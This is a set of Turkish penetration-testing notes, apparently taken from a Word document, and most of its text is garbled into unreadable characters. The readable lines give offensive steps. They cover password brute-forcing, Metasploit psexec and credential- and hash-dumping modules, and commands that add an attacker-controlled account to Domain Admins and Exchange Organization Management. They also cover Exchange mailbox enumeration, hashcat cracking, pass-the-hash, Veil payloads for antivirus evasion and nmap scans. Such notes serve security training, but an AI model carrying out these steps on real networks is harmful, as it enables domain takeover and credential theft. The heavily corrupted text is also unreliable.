ǾŜ ǒƛŦǊŜƭŜǊƭŜ ƪŀōŀ ƪǳǾǾŜǘ ǎŀƭŘƤǊƤǎƤ ŘǸȊŜƴƭŜƴƛǊΦ ±ŀǊǎŀȅƤƭŀƴ ƪǳƭƭŀƴƤŎƤ ŀŘƤ ǾŜ ǒƛŦǊŜ ƭƛǎǘŜǎƛƴŜ 

https://github.com/danielmiessler/SecLists/tree/master/Passwords ŀŘǊŜǎƛƴŘŜƴ ŜǊƛǒŜōƛƭƛǊǎƛƴƛȊΦ {ŀƭŘƤǊƤ 

ƛœƛƴ hydra, Patator, burp, zapproxy ǾŜȅŀ ƳŜǘŀǎǇƭƻƛǘ ƳƻŘǸƭƭŜǊƛ ƪǳƭƭŀƴƤƭŀōƛƭƛǊΦ 

Telnet: 

Ssh:  

Pop3: 

Imap: 

ftp: 

mysql: 

mssql: 

oracle: 

http(s): 

 

Sistemde hak elde etme: 
½ŀŦƛȅŜǘ ƪǳƭƭŀƴƤƭŀǊŀƪ ǎƛǎǘŜƳŘŜ Ƙŀƪ ŜƭŘŜ ŜŘƛƭŘƛƪǘŜƴ ǎƻƴǊŀ ŀǒŀƐƤŘŀƪƛ ŀŘƤƳƭŀǊ ǳȅƎǳƭŀƴƤǊ 

i. Sysinfo όƘŀƪ ŜƭŘŜ ŜǘǘƛƐƛƴ ǎǳƴǳŎǳ ōƛƭƎƛǎƛύ 

ii. DŜǘǳƛŘ όǎǳƴǳŎǳȅŀ ƘŀƴƎƛ Ƙŀƪ ƛƭŜ ōŀƐƭŀƴŘƤƐƤƴƤȊύ 

iii. tǎ όœŀƭƤǒŀƴ prosesler) 

iv. [ƻŀŘ ƪƛǿƛ όƪƛǿƛ ƳƻŘǸƭǸƴǸ ȅǸƪƭŜǊύ 

v. /ǊŜŘǎψŀƭƭ όǊŀƳ ŘŜƪƛ ǒƛŦǊŜƭŜǊƛ ŀœƤƪ ƻƭŀǊŀƪ ŀƭƤǊύ 

vi. IŀǎƘŘǳƳǇ όƭƻƪŀƭ ƪǳƭƭŀƴƤŎƤ ƘŀǎƘƭŜǊƛƴƛ ŀƭƤǊύ 

vii. wǳƴ Ǉƻǎǘκ²ƛƴŘƻǿǎκƎŀǘƘŜǊκŜƴǳƳΦΦ όœƛŦǘ ǘŀō ȅŀǇŀǊŀƪ ōƛǊœƻƪ Ǉƻǎǘ ƳƻŘǸƭǸ ƪǳƭƭŀƴŀōƛƭƛǊǎƛƴƛȊύ 

viii. Run post /Windows/gather/credentiŀƭΦΦ όœƛŦǘ ǘŀō ȅŀǇŀǊŀƪ ōƛǊœƻƪ ƳƻŘǸƭ ƪǳƭƭŀƴƤƭŀōƛƭƛǊύ 

ix. {ǉƭ œŀƭƤǒƤȅƻǊ ƛǎŜ Ǉƻǎǘ ƳƻŘǸƭƭŜǊŘŜƴ ǎǉƭψƘŀǎƘŘǳƳǇ ƳƻŘǸƭǸ ƪǳƭƭŀƴƤƭƤǊ 

x. /ƘǊƻƳŜ ǇǊƻǎŜǎƛ ŀœƤƪ ƛǎŜ Ǉƻǎǘ ƳƻŘǸƭƭŜǊŘŜƴ ŎƘǊƻƳŜ Řŀ ƪŀȅƤǘƭƤ ǒƛŦǊŜƭŜǊ ŀœƤƪ ƻƭŀǊŀƪ ŀƭƤƴƤǊΦ 

9ƭŘŜ ŜŘƛƭŜƴ ƘŀǎƘΣƪǳƭƭŀƴƤŎƤ ǾŜ ǒƛŦǊŜ ōƛƭƎƛƭŜǊƛ ƛƭŜ ŀǒŀƐƤŘŀƪƛ ƳƻŘǸƭ ƪǳƭƭŀƴƤƭƤǊΦ 

use auxiliary/scanner/smb/smb_login 

ŜƭŘŜ ŜǘǘƛƐƛƴƛȊ ƘŜǎŀǇ ōƛƭƎƛƭŜǊƛ ŘƻƳŀƛƴ ƘŜǎŀōƤ ƛǎŜ ŘƻƳŀƛƴ ōƛƭƎƛǎƛ ǾŜǊƛƭŜǊŜƪ hangi sunucularda oturum 

ŀœŀōƛƭŘƛƐƛ ōƛƭƎƛǎƛ ŀƭƤƴƤǊΦ {ŀŘŜŎŜ ƭƻƪŀƭ ƘŀǎƘ ōƛƭƎƛǎƛ ǾŜȅŀ ƘŜǎŀǇ ōƛƭƎƛƭŜǊƛ ŀƭƤƴŘƤ ƛǎŜΣ ƭƻƪŀƭ ƘŀǎƘ ōƛƭƎƛƭŜǊƛ ƛƭŜ 

ōŀǒƪŀ ƴŜǊŘŜ ƪǳƭƭŀƴƤƭŘƤƐƤ ǘŜǎǇƛǘ ŜŘƛƭƛǊΦ 

 ŀȅŜǘ ƘƛœōƛǊ ȅŜǊŘŜ ƻǘǳǊǳƳ ŀœŀƳŀŘƤ ƛǎŜΣ ŜƭŘŜ ŜŘƛƭŜƴ ŀœƤƪ ǒƛŦǊŜƭŜǊ ƛƭŜ ŜƭŘŜ ŜǘǘƛƐƛƴƛȊ ƪǳƭƭŀƴƤŎƤƭŀǊ ƛƭŜ ŘƻƳŀƛƴ 

ŀŘƳƛƴ ǾŜȅŀ ƭƻƪŀƭ ȅǀƴŜǘƛŎƛ ƘŜǎŀōƤ ƛœƛƴ ƪŀōŀ ƪǳǾǾŜǘ ǎŀƭŘƤǊƤǎƤ ŘǸȊŜƴƭŜƴƛǊΦ 

 

9ƭŘŜ ŜŘƛƭŜƴ ƘŀǎƘ ǾŜȅŀ ƪǳƭƭŀƴƤŎƤ ŀŘƤ ǾŜ ǒƛŦǊŜ ōƛƭƎƛǎƛ ƛƭŜ ǎƳōψƭƻƎƛƴ ƳƻŘǸƭǸƴŘŜƴ ōŀǒŀǊƤƭƤ ǎƻƴǳœ ŀƭƤƴŘƤ ƛǎŜΣ 

ŀǒŀƐƤŘŀƪƛ ƳƻŘǸƭ ƪǳƭƭŀƴƤƭŀǊŀƪ ƛƭƎƛƭƛ ǎǳƴǳŎǳŘŀ ƳŜǘŜǊǇǊŜǘŜǊ ŀœƤƭƤǊΦ 

https://github.com/danielmiessler/SecLists/tree/master/Passwords
Penetrasyon%20Testi%20Adımları12022018_v2.docx#Hydra:
Penetrasyon%20Testi%20Adımları12022018_v2.docx#Patator:


use exploit/windows/smb/psexec 

{ƛǎǘŜƳŘŜ YŀƭƤŎƤ hƭƳŀΥ 

9ƭŘŜ ŜǘǘƛƐƛƴƛȊ ǎǳƴǳŎǳ ǒŀȅŜǘ ŘƻƳŀƛƴŘŜ ōǳƭǳƴŀƴ ǎǳƴǳŎǳƭŀǊŘŀƴ ōƛǊƛ ƛǎŜΣ Ǉǎ ƪƻƳǳǘǳ ƪǳƭƭŀƴƤƭŀǊŀƪ ŘƻƳŀƛƴ 

kǳƭƭŀƴƤŎƤǎƤƴƤƴ ƻǘǳǊǳƳǳ ƪƻƴǘǊƻƭ ŜŘƛƭƛǊΦ TƭƎƛƭƛ ŘƻƳŀƛƴ ƘŜǎŀōƤƴŀ ƳƛƎǊŀǘŜ ŜŘƛƭir. 

tƻǎǘ ƳƻŘǸƭƭŜǊ ƪǳƭƭŀƴƤƭŀǊŀƪ ŜƴǳƳψŘƻƳŀƛƴψŎƻƳǇǳǘŜǊǎ ōƛƭƎƛǎƛ ŜƭŘŜ ŜŘƛƭƛǊΦ 

{ƘŜƭƭ ƪƻƳǳǘ ǎŀǘƤǊƤƴŀ ƎŜœƛƭŜǊŜƪ ŀǒŀƐƤŘŀƪƛ ƪƻƳǳǘƭŀǊ ƪǳƭƭŀƴƤƭƤǊΦ 

Net users /domain όŘƻƳŀƛƴ ŘŜ ōǳƭǳƴŀƴ ǘǸƳ ƪǳƭƭŀƴƤŎƤ ōƛƭƎƛǎƛ ŜƭŘŜ ŜŘƛƭƛǊΦύ 

bŜǘ ƎǊƻǳǇ άŘƻƳŀƛƴ ŀŘƳƛƴǎέ κŘƻƳŀƛƴ ό5ƻƳŀƛƴ ŀŘƳƛƴ ƪǳƭƭŀƴƤŎƤƭŀǊƤƴƤƴ ōƛƭƎƛǎƛ ŜƭŘŜ ŜŘƛƭƛǊύ 

bŜǘ ƎǊƻǳǇ άhǊƎŀƴƛȊŀǘƛƻƴ aŀƴŀƎŜƳŜƴǘέ κŘƻƳŀƛƴ ό9ȄŎƘŀƴƎŜ ȅǀƴŜǘƛŎƛƭŜǊƛƴƛƴ ōƛƭƎƛǎƛ ŜƭŘŜ ŜŘƛƭƛǊύ 

 ŀȅŜǘ œŀƭƤǒŀƴ ǇǊƻǎŜǎǎ ŘŜ ƪƛ ƪǳƭƭŀƴƤŎƤ ȅŜǘƪƛƭƛ ƘŜǎŀǇ ƛǎŜΣ ŀǒŀƐƤŘŀƪƛ ƪƻƳǳǘ ƪǳƭƭŀƴƤƭŀǊŀƪ ŘƻƳŀƛƴ ŘŜ ƘŜǎŀǇ 

ŀœƤƭƤǊ ǾŜ ƪŀƭƤŎƤ ƘŀƭŜ ƎŜƭƛǊΦ 

bŜǘ ǳǎŜǊ ƎǸǾŜƴƭƛƪψǘŜǎǘ ǒƛŦǊŜ κŀŘŘ κŘƻƳŀƛƴ 

bŜǘ ƎǊƻǳǇ άŘƻƳŀƛƴ ŀŘƳƛƴǎέ ƎǸǾŜƴƭƛƪψǘŜǎǘέ κŀŘŘ κŘƻƳŀƛƴ 

YǳǊǳƳ ƻǊǘŀƳƤƴŘŀ ǒŀȅŜǘ aƛŎǊƻǎƻŦǘ 9ȄŎƘŀƴƎŜ ǾŀǊ ƛǎŜ ŀǒŀƐƤŘŀƪƛ ƪƻƳǳǘ ƪǳƭƭŀƴƤƭŀǊŀƪ 9ȄŎƘange 

ǎǳƴǳŎǳǎǳƴŘŀ ȅǀƴŜǘƛŎƛ ƻƭǳƴǳǊΦ 

bŜǘ ƎǊƻǳǇ άhǊƎŀƴƛȊŀǘƛƻƴ aŀƴŀƎŜƳŜƴǘέ ƎǸǾŜƴƭƛƪψǘŜǎǘ κŀŘŘ κŘƻƳŀƛƴ 

 

Domain Sunucusunu Elde Etme: 
5ƻƳŀƛƴ ŀŘƳƛƴ ƪǳƭƭŀƴƤŎƤǎƤ ŜƭŘŜ ŜǘǘƛȅǎŜƴƛȊ ǾŜȅŀ ƪǳƭƭŀƴƤŎƤ ƘŜǎŀōƤƴƤȊƤ ŘƻƳŀƛƴ ŀŘƳƛƴ ƎǊǳōǳƴŀ ŜƪƭŜŘƛ 

iseniz, veya domain sunucusunda zaŦƛȅŜǘ ǘŜǎǇƛǘ ŜǘǘƛƴƛȊ ǾŜ ȊŀŦƛȅŜǘƛ ǎǀƳǸǊŜǊŜƪ ǎǳƴǳŎǳŘŀ Ƙŀƪ ŜƭŘŜ Ŝǘǘƛ 

ƛǎŜƴƛȊΣ ƛƭƪ ȅŀǇƳŀƴƤȊ ƎŜǊŜƪŜƴ ƛǒƭŜƳ ŘƻƳŀƛƴ ŘŜ ōǳƭǳƴŀƴ ǘǸƳ ƪǳƭƭŀƴƤŎƤƭŀǊƤƴ ƘŀǎƘ ōƛƭƎƛǎƛni ŀƭƳŀƪ ƻƭŀŎŀƪǘƤǊΦ 

tǎŜȄŜŎ ƳƻŘǸƭǸ ƪǳƭƭŀƴƤƭŀǊŀƪ ƛƭƎƛƭƛ ǎǳƴǳŎǳŘŀ ƳŜǘŜǊǇǊŜǘŜǊ ōŀƐƭŀƴǘƤǎƤ ǎŀƐƭŀƴƤǊΦ 

Run post/windows/gather/credentials/domain_hashdump ƳƻŘǸƭǸ ƪǳƭƭŀƴƤƭŀǊŀƪ ǘǸƳ ŘƻƳŀƛƴ 

ƪǳƭƭŀƴƤŎƤƭŀǊƤƴƤƴ ƘŀǎƘƛ ŀƭƤƴƤǊΦ 

IŀǎƘƭŜǊƛƴ YƤǊƤƭƳŀǎƤΥ 

9ƭŘŜ ŜŘƛƭŜƴ ƘŀǎƘƭŜǊ ōƛǊ ŜȄŎŜƭ ǘŀōƭƻǎǳƴŘŀ ǘƻǇƭŀƴƤǊΦ 9ȄŎŜƭ ŘŜ ƳŜǘƴƛ ǎǳǘǳƴŀ ŘǀƴǸǒǘǸǊ ƳŜƴǸǎǸ ƛƭŜ άΥέ Řŀƴ 

sonraki her metni ǎǸǘǸƴ ƻƭŀǊŀƪ ŀȅƤǊƤǊΦ mȊŜǘ ǘŀōƭƻ ƻƭǳǒǘǳǊǳƭŀǊŀƪ ōŜƴȊŜǊ ƘŀǎƘƭŜǊƛƴ ƭƛǎǘŜǎƛ œƤƪŀǊǘƤƭƤǊΦ 9n 

œƻƪ ƪǳƭƭŀƴƤƭŀƴ ƘŀǎƘ ōƛƭƎƛǎƛƴŘŜƴ ōŀǒƭŀȅŀǊŀƪ ǘǸƳ ƘŀǎƘƭŜǊ hashcat ƛƭŜ ƪƤǊƤƭƤǊΦ 

E-posta Sisteminin ̧ ǀƴŜǘƛƳƛΥ 

9ƭŘŜ ŜǘǘƛƐƛƴƛȊ ƘŜǎŀǇ άƻǊƎŀƴƛȊŀǘƛƻƴ ƳŀƴŀƎŜƳŜƴǘέ ƎǊǳǇ ǸȅŜǎƛ ǾŜȅŀ ƻƭǳǒǘǳǊŘǳƐǳƴǳȊ ƘŜǎŀōƤ ƻǊƎŀƴƛȊŀǘƛƻƴ 

ƳŀƴŀƎŜƳŜƴǘ ƎǊǳōǳƴŀ ŜƪƭŜŘƛ ƛǎŜƴƛȊΣ 9ȄŎƘŀƴƎŜ ǎǳƴǳŎǳȅŀ ǊŘǇ ŜǊƛǒƛƳƛ ǾŀǊ ƛǎŜ ǊŘǇ ōŀƐƭŀƴǘƤ ǎŀƐƭŀƴƤǊΦ  

9ȄŎƘŀƴƎŜ ƳŀƴŀƎŜƳŜƴǘ {ƘŜƭƭ ƪǳƭƭŀƴƤƭŀǊŀƪ ŀǒŀƐƤŘŀƪƛ ƪƻƳǳǘƭŀǊ œŀƭƤǒǘƤǊƤƭƤǊΦ 

Get-mailbox -resultsize:unlimited |ft Displayname, primar*smtp* ƪƻƳǳǘǳ ƪǳƭƭŀƴƤƭŀǊŀƪ ƪǳǊǳƳŀ ŀƛǘ 

ǘǸƳ Ŝ-Ǉƻǎǘŀ ŀŘǊŜǎƭŜǊƛƴƛƴ ƭƛǎǘŜǎƛ ŀƭƤƴƤǊΦ 

Penetrasyon%20Testi%20Adımları12022018_v2.docx#Hashcat:


YǳƭƭŀƴƤƭŀƴ 9ȄŎƘŀƴƎŜ ǎǳƴǳŎǳ ǾŜǊǎƛȅƻƴǳ нлмл ƛǎŜ  9ȄŎƘŀƴƎŜ ŎƻƴǎƻƭŜ ƪǳƭƭŀƴƤƭŀǊŀƪ ƛǎǘŜƴƛƭŜƴ Ŝ-posta 

hesabƤΣ ƎǊǳǇƭŀǊΣ ǾŜǊƛǘŀōŀƴƭŀǊƤΣ ǘŀǊŎƪƛƴƎ ƭƻƐƭŀǊ ƎǀǊǸƴǘǸƭŜƴŜōƛƭƛǊΦ 

YǳƭƭŀƴƤƭŀƴ ŜȄƘŎƴŀƎŜ ǎǳƴǳŎǳ ǾŜǊƛǎȅƻƴǳ нлмо ǾŜȅŀ нлмс ƛǎŜΣ https://localhost/ecp ile exchange 

ȅǀƴŜǘƛƳ ǇŀƴŜƭƛƴŜ ƻǘǳǊǳƳ ŀœƤƭŀōƛƭƛǊΦ 

 ŀȅŜǘ ǊŘǇ ŜǊƛǒƛƳƛ ȅƻƪ ƛǎŜΣ https://exchangesunucuip/ecp ŀŘǊŜǎƛƴŘŜƴ ŜǊƛǒƛƳ ǎŀƐƭŀƴŀōƛƭƛǊΦ 

 

!ƴǘƛǾƛǊǸǎ !ǘƭŀǘƳŀΥ 

 

Pth-winexe: 

[ƻƪŀƭ ƪǳƭƭŀƴƤŎƤ ve hash ŜƭŘŜ ŜǘǘƛƴƛȊ ǾŜ ǎƳōψƭƻƎƛƴ ƛƭŜ ōƛǊŘŜƴ œƻƪ ǎǳƴǳŎǳŘŀ ƻǘǳǊǳƳ ŀœŀōƛƭŘƛƐƛƴƛȊƛ ǘŜǎpit 

ŜǘǘƛƴƛȊΦ Cŀƪŀǘ ǇǎŜȄŜŎ ƛƭŜ ƳŜǘŜǊǇǊŜǘŜǊ ŀœŀƳƤȅƻǊǎǳƴǳȊΣ ōǳ ŘǳǊǳƳŘŀ ȅŀ ƘŀǎƘΩƛ ƪƤǊŀŎŀƪǎƤƴƤȊ ƪŀǊǒƤ ǘŀǊŀŦǘŀ 

ǊŘǇ ȅŀǇŀŎŀƪǎƤƴƤȊ ǾŜȅŀ ǇǘƘ-ǿƛƴŜȄŜ ŀǊŀŎƤƴƤ ƪǳƭƭŀƴŀǊŀƪ ƘŀǎƘ ƛƭŜ ƪŀǊǒƤ ǎǳƴǳŎǳŘŀ ƻǘǳǊǳƳ ŀœŀŎŀƪǎƤƴƤȊΦ 

 

 

YŀǊǒƤ ǘŀǊŀŦǘŀ ŎƳŘ ƛƭŜ ōŀƐƭŀƴǘƤ ŀœǘƤƪǘŀƴ ǎƻƴǊŀ ƛǎǘŜǊǎŜƴƛȊ ƪǳƭƭŀƴƤŎƤ ŀœƤǇ ǊŘǇ ȅŀǇŀōƛƭƛǊǎƛƴƛȊΦ 

5ƛƐŜǊ ōƛǊ ȅǀƴǘŜƳ ƛǎŜ ȄŦǊŜŜǊŘǇ ŀǊŀŎƤƴƤ ƪǳƭƭŀƴƳŀƪΦ 

Kali de apt - get install  freerdp - x11  ƪƻƳǳǘǳȅƭŀ ŀǊŀŎƤ ƪǳǊŀōƛƭƛǊǎƛƴƛȊΦ 

 

https://localhost/ecp
https://exchangesunucuip/ecp


Veil-Framework 
!ƴǘƛǾƛǊǸǎ ŀǘƭŀǘƳŀ ȅǀƴǘŜƳƭŜǊƛƴŘŜƴ ōƛǊƛǎƛ ŘŜ Veil ŀǊŀŎƤƴƤ ƪǳƭƭŀƴŀǊŀƪ ǇŀȅƭƻŀŘ ƻƭǳǒǘǳǊƳŀƪǘƤǊΦ 

 

tŜƴǘŜǎǘ ŘŜ ƪǳƭƭŀƴƤƭŀƴ ŀǊŀœƭŀǊΥ 
Nmap: 
±ŀǊƭƤƪƭŀǊƤƴ ƘŀƴƎƛ ƛǒƭŜǘƛƳ ǎƛǎǘŜƳƛ ǸȊŜǊƛƴŘŜ œŀƭƤǒǘƤƐƤΣ ǳȅƎǳƭŀƳŀ ǾŜ ǳȅƎǳƭŀƳŀƴƤƴ ǾŜǊǎƛȅƻƴ ōƛƭgisi, hangi 

ǎŜǊǾƛǎƭŜǊƛƴ œŀƭƤǒǘƤƐƤΣ ƘŀƴƎƛ ǇƻǊǘƭŀǊƤƴ ŀœƤƪ ƻƭŘǳƐǳ Ǝƛōƛ ǾŜ ŘŀƘŀ ōƛǊœƻƪ ōƛƭƎƛȅƛ ǘŜǎǇƛǘ ŜǘƳŜȅŜ œŀƭƤǒƤƭƤǊΦ ¢ŜǎǇƛǘ 

ŜŘƛƭŜƴ ōǳ ōƛƭƎƛƭŜǊƛƴ ŘŀƘŀ ǎƻƴǊŀ ƴŜ ǘǸǊ ȊŀŀŦƛȅŜǘƭŜǊ ōŀǊƤƴŘƤǊŘƤƐƤƴŀ ōŀƪƤƭƤǊΦ ¢ǸƳ ōǳ ƛǒƭŜƳƭŜǊƛ ȅŀǇƳŀƪ ƛœƛƴ Ŝƴ 

ȅŀȅƎƤƴ ƻƭŀǊŀƪ ƪǳƭƭŀƴƤƭŀƴ ŀǊŀœ ƴƳŀǇ ŀǊŀŎƤŘƤǊΦ 

bƳŀǇ ōƛǊ œƻƪ ǇƭŀǘŦƻǊƳŘŀ œŀƭƤǒŀōƛƭƛǊΦ .ƛȊ ǇǘŦ ŀƭǘȅŀǇƤǎƤƴŘŀ œŀƭƤǒǘƤƐƤƳƤȊ ƛœƛƴ ǘŜǎǘƭŜǊƛƳƛȊƛ ōǳ ƻǊǘŀƳŘŀ 

ƎŜǊœŜƪƭŜǒǘƛǊŜŎŜƐƛȊΦ 

9ƴ ōŀǎƛǘ ƪǳƭƭŀƴƤƳƤ ƛƭŜ nmap <Hedef IP> komutunu kullanabiliriz. 

bƳŀǇ ŦŀǊƪƭƤ ǘŀǊŀƳŀ ȅǀƴǘŜƳƛ ǾŜ ƘŜǊ ǘŀǊŀƳŀ ȅǀƴǘŜƳƛ ƛœƛƴ ŦŀǊƪƭƤ ǎŜœŜƴŜƪƭŜǊ ǎǳƴƳŀƪǘŀŘƤǊΦ CŀǊƪƭƤ ǘŀǊŀƳŀ 

ȅǀƴǘŜƳƛ ǾŜ ǎŜœŜƴŜƪƭŜǊƛ ōƛƭƳŜƴƛȊ ǎƛȊƛƴ ƘŜŘŜŦ ƘŀƪƪƤƴŘŀ ŘŀƘŀ ƘƤȊƭƤ ǾŜ ƪŀǇǎŀƳƭƤ ōƛƭƎƛ ǎŀƘƛōƛ ƻƭƳŀƴƤȊƤ 

ǎŀƐƭŀȅŀŎŀƪǘƤǊΦ 

bƳŀǇΩƛƴ ŦŀǊƪƭƤ ǘŀǊŀƳŀ ȅǀƴǘŜƳƛ ǾŜ ǎŜœŜƴŜƪƭŜǊƛƴŜ ƎŜœƳŜŘŜƴ ǀƴŎŜ ƴƳŀǇΩƛƴ œŀƭƤǒƳŀ ƳŀƴǘƤƐƤƴƤ ƛƴŎƭŜȅŜƭƛƳ. 

bƳŀǇ ƪƻƳǳǘǳƴǳ ƘŜǊƘŀƴƎƛ ōƛǊ ǎŜœŜƴŜƪ ǾŜǊƳŜŘŜƴ œŀƭƤǒǘƤǊƤǊƤǎŀƴƤȊΣ ƘŜŘŜŦ LtΩȅƛ ǘŀǊŀƳŀȅŀ ōŀǒƭŀǊƪŜƴ ƛƭƪ 

ōŀǒǘŀ L/at 9/Ih ǾŜ ¢/t !/Y ōŀȅǊŀƐƤƴƤ ƎǀƴŘŜǊŜǊŜƪ ƘŜŘŜŦ LtΩȅƛ ǇƛƴƎƭŜǊ όbƳŀǇΩTƴ ǇƛƴƎ ƳŀƴǘƤƐƤύΦ 

.ǀȅƭŜƭƛƪƭŜ ƘŜŘŜŦ LtΩŘŜ ƪƛ ǾŀǊƭƤƐƤƴ ŀœƤƪ ƻƭǳǇ ƻƭƳŀŘƤƐƤƴŀ ōŀƪŀǊΦ tƛƴƎ ȅŀƴƤǘƤƴƤ ŀƭŀƳŀȊǎŀ ǘŀǊŀƳŀȅƤ ŘǳǊŘǳǊǳǊΦ 

{ǘŀƴŘŀǊǘ ǘŀǊŀƳŀŘŀƴ ōƛǊƪŀœ ǀǊƴŜƪ ǾŜǊŜƭƛƳΦ 

nmap 192.168.152.135   І¢Ŝƪ ōƛǊ Lt ŀŘǊŜǎƛ ƛœƛƴ ǘŀǊŀƳŀ ȅŀǇƤƭŀŎŀƐƤƴƤ ōŜƭƛǊǘƛǊ 

nmap 192.168.152.135-150  І мфнΦмсуΦмрнΦмор ǾŜ мфнΦмсуΦмрнΦмрл ŀŘǊŜǎ ŀǊŀƭƤƐƤƴŘŀ ƪƛ ǘǸƳ Lt 

adreslerini tarar. 

nmap -IL iplistesi.txt   І ƛǇƭƛǎǘŜǎƛΦǘȄǘ ŘƻǎȅŀǎƤ ƛœŜǊƛǎƛƴŘŜ ƪƛ Lt ŀŘǊŜǎƭŜǊƛƴƛ ǘŀǊŀǊ 

.ŀǎƛǘ ōƛǊ ǘŀǊŀƳŀ œƤƪǘƤǎƤƴŀ ōŀƪŀƭƤƳΦ мфнΦмсуΦм.216 ƳŀƪƛƴŀǎƤƴƤƴ ŀœƤƪ ƻƭŘǳƐǳƴǳ ǾŜ мллл ǇƻǊǘǳƴǳ 

ǘŀǊŀŘƤƐƤƴƤΣ ф97 portun filtered ƻƭŘǳƐǳƴǳΣ ŀœƤƪ ƻƭŀƴ ǇƻǊǘƭŀǊŘŀ Řŀ ƘŀƴƎƛ ǎŜǊǾƛǎƭŜǊƛƴ ŀœƤƪ ƻƭŘǳƐǳƴǳ ǘŜǎǇƛǘ 

etti.  

 

Penetrasyon%20Testi%20Adımları12022018_v2.docx#Veil-Framework


 ƛƳŘƛ ŘŜ ŘŀƘŀ ƪŀǇǎŀƳƭƤ ǘŀǊŀƳŀ ǒŜƪƭƛƴŜ ōŀƪŀƭƤƳΦ 

ƴƳŀǇ ғǘŀǊŀƳŀ ǘǸǊǸҔ ғǎŜœŜƴŜƪƭŜǊҔ ғƘŜŘŜŦҔ 

¢ŀǊŀƳŀ ǘǸǊǸƴŜ ƎŜœƳŜŘŜƴ ǀƴŎŜ ōŀȅǊŀƪƭŀǊ ǾŜ оΩƭǸ Ŝƭ ǎƤƪƤǒƳŀŘŀƴ ōŀƘǎŜŘŜƭƛƳΦ 

{¸b Ґ {ŜƴƪǊƻƴƛȊŜ ƳŜǎŀƧƤ ό{ȅƴŎƘǊƻƴƛȊŜύ 

ACK = AƭƤƴŘƤ aŜǎŀƧƤ ό!ŎƪƴƻǿƭŜŘƎŜƳŜƴǘύ 

w{¢ Ґ .ŀƐƭŀƴǘƤ ƛǇǘŀƭƛόwŜǎŜǘύ 

CLb Ґ .ƛǘƛǊƳŜ ƳŜǎŀƧƤ όCƴƛǎƘύ 

оΩƭǸ Ŝƭ ǎƤƪƤǒƳŀΥ 

 

IŜŘŜŦ ƛƭŜ ƪǳƭƭŀƴƤŎƤ ŀǊŀǎƤƴŘŀ ǘŀƳ ōƛǊ ōŀƐƭŀƴǘƤ ǎŀƐƭŀƴƤǊΦ YŀǊǒƤƭƤƪƭƤ ƎǀƴŘŜǊƛƭŜƴ ǇŀƪŜǘƭŜǊƭŜ ōŀƐƭŀƴǘƤ ǎŀƐƭŀƴƤǊ 

ǾŜ ōŀƐƭŀƴǘƤ ƪŀȅƤǘ ŀƭǘƤƴŀ ŀƭƤƴƤǊΦ 

YǳƭƭŀƴƤŎƤΣ ōŀƐƭŀƴǘƤ ƪǳǊƳŀƪ ƛǎǘŜŘƛƐƛ ƘŜŘŜŦŜ ¢/t {¸b ƳŜǎŀƧƤ ƎǀƴŘŜǊƛǊΦ IŜŘŜŦ ŘŜƪƛ ōƛƭƎƛǎŀȅŀǊΣ ƪǳƭƭŀƴƤŎƤȅŀ 

¢/t {¸bκ!/Y ƳŜǎŀƧƤ ŘǀƴŜǊΣ ƪǳƭƭŀƴƤŎƤ ǘŜƪǊŀǊ !/Y ƳŜǎŀƧƤ ŘǀƴŜǊΦ IŜŘŜŦ ōŀƐƭŀƴǘƤ ƛǎǘŜƐƛƴƛ ƪŀōǳƭ ŜŘŜǊ ǾŜ ACK 

"TCP connection ƛǎ 9{¢!.[L{I95Ϧ ƳŜǎŀƧƤ ƎǀƴŘŜǊƛǊΦ .ǳ ƛǒƭŜƳŜ оΩƭǸ Ŝƭ ǎƤƪƤǒƳŀ ŘŜƴƛǊΦ 

¢ŀǊŀƳŀ ǘǸǊƭŜǊƛΥ 

tƛƴƎ ǘŀǊŀƳŀǎƤΥ  ¢ǸƳ {ƛǎǘŜƳƭŜǊŜ tƛƴƎ ŀǘŀǊŀƪ ȅŀƴƤǘ ǾŜǊŜƴ ǎƛǎǘŜƳƭŜǊƛƴ ŀœƤƪ ƻƭǳǇ ƻƭƳŀŘƤƐƤƴƤ ŘŜƴŜǘƭŜǊΣ ōƛǊ 

nevi sunucu ve istemcileri tespit eder 

 nmap -sP 192.168.152.0/24 

TCP Ş b ¢ŀǊŀƳŀǎƤΥ ±ŀǊǎŀȅƤƭŀƴ ǘŀǊŀƳŀ ǘǸǊǸŘǸǊΦ¢ŀǊŀƳŀ ƛǒƭŜƳƛΣ ƎǀƴŘŜǊƛƭŜƴ {¸b ǇŀƪŜǘƛƴŜ ƎŜƭŜƴ ŎŜǾŀōŀ 

ƎǀǊŜ ƎŜǊœŜƪƭŜǒƛǊΦ DǀƴŘŜǊƛƭŜƴ {¸b ǇŀƪŜǘƛƴŜ ƪŀǊǒƤƭƤƪ ŀƭƤƴŀƴ ǇŀƪŜǘ w{¢Ҍ!/Y ƛǎŜ ǇƻǊǘ ƪŀǇŀƭƤŘƤǊ ǾŜ ǘŀǊŀƳŀ 

ōƛǊ ǎƻƴǊŀ ƪƛ ǇƻǊǘ ƛƭŜ ŘŜǾŀƳ ŜŘŜǊΦ 9ƐŜǊ ŀƭƤƴŀƴ ǇŀƪŜǘ {¸bҌ!/Y ƛǎŜ ǇƻǊǘǳƴ ŀœƤƪ ƻƭŘǳƐǳ ŀƴƭŀǒƤƭƤǊ ǾŜ ōƛǊ w{¢ 

ǇŀƪŜǘƛ ƎǀƴŘŜǊƛƭŜǊŜƪ ƛƭŜǘƛǒƛƳ ƪǳǊǳƭƳŀŘŀƴ ǘŀǊŀƳŀ ƛǒƭŜƳƛ ǘŀƳŀƳƭŀƴƤǊΦ !Ƴŀœ оΩƭǸ Ŝƭ ǎƤƪƤǒƳŀ 

ǘŀƳŀƳƭŀƴƳŀƳŀǎƤ ǾŜ ƘŜŘŜŦ ǎƛǎǘŜƳŘŜ ƪŀȅƤǘ ŀƭǘƤƴŀ ŀƭƤƴƳŀƳŀǎƤŘƤǊΦ 

nmap -sS 192.168.152.0/24 

TCP Connect Scan: Bu taramada 3ΩƭǸ Ŝƭ ǎƤƪƤǒƳŀ ƛǒƭŜƳƛ ƎŜǊœŜƪƭŜǒƛǊ ǾŜ ǘŀǊŀƳŀ ƪŀȅƤǘ ŀƭǘƤƴŀ ŀƭƤƴƤǊΦ {¸b {Ŏŀƴ 

ǘŜƪƴƛƐƛƴƛƴ ǘŜǊǎƛƴŜ ŜƐŜǊ {¸b ǇŀƪŜǘƭŜǊƛƴŜ ƪŀǊǒƤƭƤƪ {¸bҌ!/Y ƎŜƭƛȅƻǊǎŀ !/Y ǇŀƪŜǘƛ ƎǀƴŘŜǊƛǊ ǾŜ ǇƻǊǘ ǘŀǊŀƳŀ 

ǘŀƳŀƳƭŀƴƤǊ. 

nmap -sT 192.168.152.0/24 

